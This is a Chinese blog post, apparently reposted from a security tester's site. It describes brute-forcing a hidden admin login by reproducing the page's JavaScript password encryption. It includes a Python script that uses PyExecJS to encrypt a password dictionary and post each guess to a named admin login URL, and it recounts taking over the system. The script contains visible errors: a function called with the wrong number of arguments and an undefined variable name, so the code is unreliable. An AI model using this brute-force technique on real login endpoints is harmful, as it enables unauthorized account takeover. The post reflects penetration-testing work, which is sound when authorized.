33

口令爆破之突破前端JS加密

 3 years ago
source link: http://byd.dropsec.xyz/2020/05/18/口令爆破之突破前端JS加密/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

近期安全测试时发现一个系统前台使用了SSO,但是在比较隐蔽API中发现了后台的登录接口,该接口未使用SSO,同时没有图形验证码等校验,通过分析最终爆破进入后台。

0x01 确认攻击途径

通过信息搜集找到后台登录URL,由于URL比较敏感,这里以 admin/login 替代,尝试登录发现没有图形验证码等校验

b6zmIjv.png!web

通过BurpSuite抓包发现密码字段被加密了

BZFfqam.png!web

根据回显不同,可进行口令爆破。

攻击思路:

  1. 通过回显不同获取存在的账号
  2. 分析加密方法
  3. 使用加密算法加密密码字典
  4. 脚本发包爆破

这里也可以使用Selenium一把梭暴力解决,但是不建议,如果实在没折的话再考虑此方法。

0x02 分析加密方法

加密参数为 u_pwd ,在html文件中搜索该特殊字符

mMnQRv6.png!web

可以看到加密算法是将 u_pwdu_name 拼接之后使用 strEnc 函数处理,然后再和一个随机16位字符串拼接。

测试加密算法

复制定位到的 strEnc 函数JS代码,以Chrome为例。 F12 -> Sources -> Overrides -> 右键Snippets -> 粘贴

R7j2eaY.png!web

在新建的 snippet上右键 > Run

yYVZBfY.png!web

输入密码测试

BRBvQn3.png!web

OK,加密代码找到了,运行对应的加密JS代码即可获取对应密码的加密字符串。

0x03 攻击测试

这里有多种途径,官方推荐PyV8、Node.js、PhantomJS、Nashorn,之前跟爬虫的大哥学习的时候发现他们好多使用的PyExecJS,所以也用这个试试,有兴趣的可以搜搜对应的优缺点。

安装 Node.js 之后 pip install PyExecJS 即可

qMRnQvV.png!web

脚本爆破

import requests
import execjs
import json

def gen_encode_pass(user_name, user_password):
    with open("/Users/w2n1ck/Desktop/des.js", "r") as f:   
        data_func = f.read()
    ctx = execjs.compile(data_func)
    up = ctx.call('strEnc', user_password, user_name)
    rand = ctx.call('randomString', 16)
    password = str(up) + str(rand)
    print('encode: u_password:',password)
    return password


_url = "https://admin.baidu.com:443/admin/login"
_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Referer": "https://admin.baidu.cn/admin/login", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "u_token": "", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}
_data = {"u_name": "admin"}

pass_dict = open('/Users/w2n1ck/Desktop/admin_pass.txt', 'r')

for p in pass_dict.readlines():
    p = str(p.strip())
    print("decode: " + p)
    password = gen_encode_pass(p)
    burp0_data['u_pwd'] = password
    resp = requests.post(_url, headers=_headers, data=_data)
    con = json.loads(resp.content)
    if 'false' in str(con):
        print(con)

pass_dict.close()

通过前期的确定存在的用户名进行社工口令针对性爆破

7jAv2ei.png!web

脚本启动,打卡,下班

3quMVfm.jpg!web

第二天上班发现已有存在的账号密码,账号密码登录即可接管系统

67nEj2A.png!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK